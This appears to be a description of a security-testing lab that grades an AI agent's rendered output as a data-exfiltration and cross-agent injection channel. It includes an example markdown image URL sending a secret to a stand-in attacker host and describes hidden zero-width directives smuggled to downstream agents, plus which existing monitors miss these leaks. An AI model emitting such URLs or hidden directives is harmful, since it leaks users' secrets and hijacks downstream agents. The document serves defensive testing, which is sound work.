Output-Handling / Rendered-Response Exfiltration Lab

Grade the agent's own response as an exfil channel.

Every other surface grades an INPUT channel or a server-side side-effect — the egress scorer watches outbound network attempts, data-exfil lineage traces a value to an egress span, the obfuscation scanner grades the INCOMING probe, the reasoning scorer grades the chain-of-thought. None of them watch the agent's OWN rendered response text, and that is exactly where a whole attack class hides. AgentSmackgrades the rendered response as an exfiltration + downstream-injection vector for the failure modes nothing else catches: a secret that leaves via a rendered/auto-fetched markdown-image URL (![](https://attacker.tld/log?d=<secret>)) with ZERO server egress span — the headline render-channel leak the egress + lineage scorers structurally cannot see (a critical hard blocker, the canary redacted to a sha/prefix and never stored raw); an auto-fetched image to a non-allowlisted host (data leaves on render even without a proven canary, deny-by-default with dot-boundary host matching); an embedded data: / javascript: URI; and an invisible (zero-width / Unicode-tag / bidi) directive smuggled past the rendered text straight into the NEXT agent or a downstream tool — OWASP LLM01 cross-agent injection (a critical hard blocker when the recipient is a downstream consumer, latent when it is a human reader). Ground-truth wins: an authorized, allowlisted link to a human scores clean, so the scorer rewards correct output handling rather than blanket refusal. Findings map to OWASP LLM02 (primary) + LLM01 / NIST AI RMF coverage with paste-able remediation, a synthetic-attacker gauntlet, and audience report variants. Load a sample to watch the gauge swing with no live infra.

Sibling: the output-to-downstream-interpreter injection lab grades a different output channel — a weaponized STRUCTURED payload (SQL / shell / path / URL / template) the agent builds from untrusted input and hands to an interpreter, where the syntax injects (OWASP LLM05). This lab grades the rendered-content channel.